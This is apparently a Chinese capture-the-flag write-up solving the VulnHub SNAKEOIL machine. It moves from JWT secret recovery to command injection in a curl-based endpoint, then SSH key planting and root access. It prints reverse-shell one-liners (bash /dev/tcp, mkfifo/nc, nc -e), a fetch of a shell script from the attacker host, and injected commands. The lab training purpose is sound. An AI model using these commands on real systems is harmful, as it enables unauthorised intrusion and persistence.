准备:

攻击机:虚拟机kali、本机win10。

靶机:DIGITALWORLD.LOCAL: SNAKEOIL,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/digitalworld/SNAKEOIL.7z,下载后直接vbox打开即可。

知识点:命令执行、私匙制作和登录(ssh-keygen)、bp的使用。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.16.110.0/24,获得靶机地址:192.168.110.180。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.180,显示开放了22、80、8080端口,开启了ssh、http服务。

访问下80和8080端口,在8080端口的Useful Links下发现了一个网站:https://flask-jwt-extended.readthedocs.io/en/stable/options/,主要和flask-jw的配置有关。

使用dirsearch对8080端口进行目录扫描(80未发现有用信息),命令:python dirsearch.py -u http://192.168.110.180:8080 -e * -w D:\soft\seep\dirsearch\db\dicc.txt,发现/users、/test、/secret等目录信息。

对扫描出来的目录进行访问测试,发现在访问:http://192.168.110.180:8080/users时返回了users的账户和密码信息,访问:http://192.168.110.180:8080/registration时显示方法错误,那就使用bp抓包修改下请求方式。

BP修改数据包:

访问:http://192.168.110.180:8080/registration使用bp进行抓包并修改请求方式,进行模拟提交查看返回的数据,返回:Username field cannot be blank。

那就添加用户名信息:username=upfine,但是告诉我们password也不能是空,那就写入密码进行注入,最后注册成功:upfine/123。

使用注册的账户名和密码:upfine/123进行登录,访问:http://192.168.110.180:8080/login,返回信息:The method is not allowed for the requested URL,那就修改下请求方法为post,成功获得access_token和refresh_token。

  1. {"message": "Logged in as upfine",
  2. "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY2OTAzMzAzNywianRpIjoiOGMwYzgxMTEtMTc3YS00YjgwLTk4NDItOWQxMGEyNDAwMGRiIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InVwZmluZSIsIm5iZiI6MTY2OTAzMzAzNywiZXhwIjoxNjY5MDMzOTM3fQ.923Y782zfLKCZIjy7LB_MVP0gJNFZHCf5eTgW6eRrNc",
  3. "refresh_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY2OTAzMzAzNywianRpIjoiNzlkOTRkYTUtNGJmMS00YzA2LThjNjktMGU5ODVjYTIxNzEzIiwidHlwZSI6InJlZnJlc2giLCJzdWIiOiJ1cGZpbmUiLCJuYmYiOjE2NjkwMzMwMzcsImV4cCI6MTY2OTAzNjYzN30.kljPY4fWlHEZ-h31kvQabGmkTnBljOTo47dvbLUiLzw"}

访问:http://192.168.110.180:8080/run,返回信息告诉我们需要输入参数url,输入url之后进行请求,返回信息告诉我么需要提交secret_key。输入参数注意其输入格式,可以看出和json格式类似。

访问/serect返回:Internal Server Error,在开始发现的jwt配置网站:https://flask-jwt-extended.readthedocs.io/en/stable/options/,查找关于登陆成功时返回的access_token的信息,找到携带身份认证信息的键值名称:access_token_cookie,输入cookie信息,成功获取到secret_key:commandexecutionissecret。

利用获取到的secret_key:commandexecutionissecret,返回到http://192.168.110.180:8080/run的数据包并输入secret_key:commandexecutionissecret进行请求访问,返回信息疑似命令执行的结果,输入;查看下进行命令执行的命令,发现是curl命令。

查看下curl的命令使用方法,发现curl -V时会返回版本信息并且退出curl命令,这时候我们利用&&来执行我们要执行的命令,如:id、ls。

获取shell:

通过三种shell反弹方式进行反弹,均是反弹失败,返回:Banned command。

  1. bash -c 'bash -i >& /dev/tcp/192.168.110.180/6688 0>&1'
  2. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.110.180 6688 >/tmp/f
  3. nc -e /bin/bash 192.168.110.180 6688

在kali中开启一个简易的web服务:python3 -m http.server 8000,编写一个shell反弹脚本上传到靶机中,命令:-V&&wget http://192.168.110.178:8000/shell.sh -o shell.sh;,kali端开启对6688端口的监听:nc -lvvp 6688,然后对靶机中的shell.sh脚本赋予执行权限:chmod +x shell.sh,然后执行,失败无法反弹shell。

制作ssh私匙登录:

使用ssh-keygen制作私匙文件并将文件复制到python开启的http服务中,然后修改文件名字为:authorized_keys。

通过命令执行漏洞上传私匙文件,命令:http://192.168.110.178:8800/authorized_keys -O 127.0.0.1;。

在靶机上查看authorized_keys 以确认是否上传成功(命令:-V&&ls -l;),然后并将该文件移动到/home/patrick/.ssh/目录下,命令:-V&&mv authorized_keys /home/patrick/.ssh/;,然后查看.ssh目录是否存在该文件。

使用ssh登录成功获得shell权限,命令:ssh patrick@192.168.110.180 -i ~/.ssh/upfine,这里的密码是制作私匙时输入的密码。

在本地目录下发现local.txt文件并进行访问,成功获取到第一个flag信息。

提权:

查看下当前账户是否存在可以使用的特权命令,sudo -l,显示只有shutdown才可以不需要root命令执行。

最后一番查找在flask_blog目录下的app.py文件中发现了隐藏的密码:NOreasonableDOUBTthisPASSWORDisGOOD。

使用发现的密码切换成root账户:sudo su,在/root文件夹下发现proof.txt文件并读取flag信息。

vulnhub靶场之DIGITALWORLD.LOCAL: SNAKEOIL的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. OpenHarmony3.0如何轻松连接华为云IoT设备接入平台?

    摘要:本文主要介绍基于OpenHarmony 3.0版本来对接华为云IoT设备接入IoTDA,以小熊派BearPi-HM_Nano开发板为例,使用huaweicloud_iot_link SDK对接华 ...

  2. picoCTF:keygenme-py 解题思路

    keygenme-py 解题思路 题目如下 点击 keygenme-trial.py 获取要破解的文件 py文件代码为 点击查看代码 #================================ ...

  3. 入门Python,看完这篇就行了!

    转载请注明出处️ 作者:测试蔡坨坨 原文链接:caituotuo.top/3bbc3146.html 你好,我是测试蔡坨坨. 众所周知,Python语法简洁.功能强大,通过简单的代码就能实现很多实用. ...

  4. 使用 Elastic 技术栈构建 K8S 全栈监控 -1:搭建 ElasticSearch 集群环境

    文章转载自:https://www.qikqiak.com/post/k8s-monitor-use-elastic-stack-1/ 操作步骤 kubectl create ns elastic k ...

  5. Ingress资源规范

    k8s v1.19版本中Ingress资源规范从v1beta1版本升级至稳定的v1版本 v1beta1版本 v1beta1版本的Ingress资源位于API群组的extensions之中,该版本的资源 ...

  6. 初试 Prometheus + Grafana 监控系统搭建并监控 Mysql

    转载自:https://cloud.tencent.com/developer/article/1433280 文章目录1.Prometheus & Grafana 介绍1.1.Prometh ...

  7. vue this.$router.push query传递对象方法

    this.$router.push({ path: '/home', query: { params: JSON.stringify({ name: 'lokka', age: 18 }) } }); ...

  8. NOI2014 洛谷P2114 起床困难综合征(位运算)

    呃...这道题算是noi中比较简单的题吧...... 众所周知,位运算是个好东西,它就是对应的位进行运算,跟其他的位没有关系. 我们要选取一个m值使最后的攻击力最大,对于这个m,从高位开始枚举,判断该 ...

  9. 带有pwn环境的Ubuntu22.04快速安装

    pwn环境ubuntu22.04快速安装(有克隆vmk) ubuntu更新到了22.04版本,经过本人测试后非常的好(ma)用(fan),该版本和mac很相像,而且用起来也比较丝滑,只不过配置上稍微有 ...

  10. Java递归查找层级文件夹下特定内容的文件

    递归查找文件 引言 或许是文件太多,想找某个文件又忘记放哪了;又或者是项目改造,需要将外部调用接口进行改造,项目太多,又无法排查.那么怎么快速找到自己想要的内容就是一件值得思考的事情了. 根据特定内容 ...